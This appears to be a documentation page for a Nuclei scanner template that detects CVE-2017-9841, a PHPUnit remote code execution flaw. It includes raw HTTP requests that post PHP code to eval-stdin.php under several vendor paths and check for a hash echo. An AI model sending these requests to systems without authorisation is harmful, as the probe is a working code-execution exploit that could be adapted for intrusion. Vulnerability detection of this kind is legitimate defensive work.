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PHPUnit - Remote Code Execution

ID: CVE-2017-9841

Severity: critical

Author: Random_Robbie,pikpikcu

Tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project

Description

Section titled “Description”

PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a ”<?php ” substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.

YAML Source

Section titled “YAML Source”
id: CVE-2017-9841


info:
  name: PHPUnit - Remote Code Execution
  author: Random_Robbie,pikpikcu
  severity: critical
  description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
  remediation: |
    Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
  reference:
    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
    - https://github.com/RandomRobbieBF/phpunit-brute
    - https://thephp.cc/articles/phpunit-a-security-risk
    - https://twitter.com/sec715/status/1411517028012158976
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9841
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-9841
    cwe-id: CWE-94
    epss-score: 0.97477
    epss-percentile: 0.99963
    cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 6
    vendor: phpunit_project
    product: phpunit
  tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project


variables:
  string: "CVE-2017-9841"


http:
  - raw:
      - |
        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html


        <?php echo md5("{{string}}");?>
      - |
        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html


        <?php echo md5("{{string}}");?>
      - |
        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html


        <?php echo md5("{{string}}");?>
      - |
        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html


        <?php echo md5("{{string}}");?>
      - |
        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html


        <?php echo md5("{{string}}");?>
      - |
        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html


        <?php echo md5("{{string}}");?>


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'


      - type: status
        status:
          - 200
# digest: 490a0046304402203ecf22aa158e15628c982382ecf798ccaf22b829432d05973428ee481d3dc58802207b483d6faa45bff3c10cb290b2b48c4708b040fb0b1bf72f2014cc40ccbf14bf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-9841.yaml"

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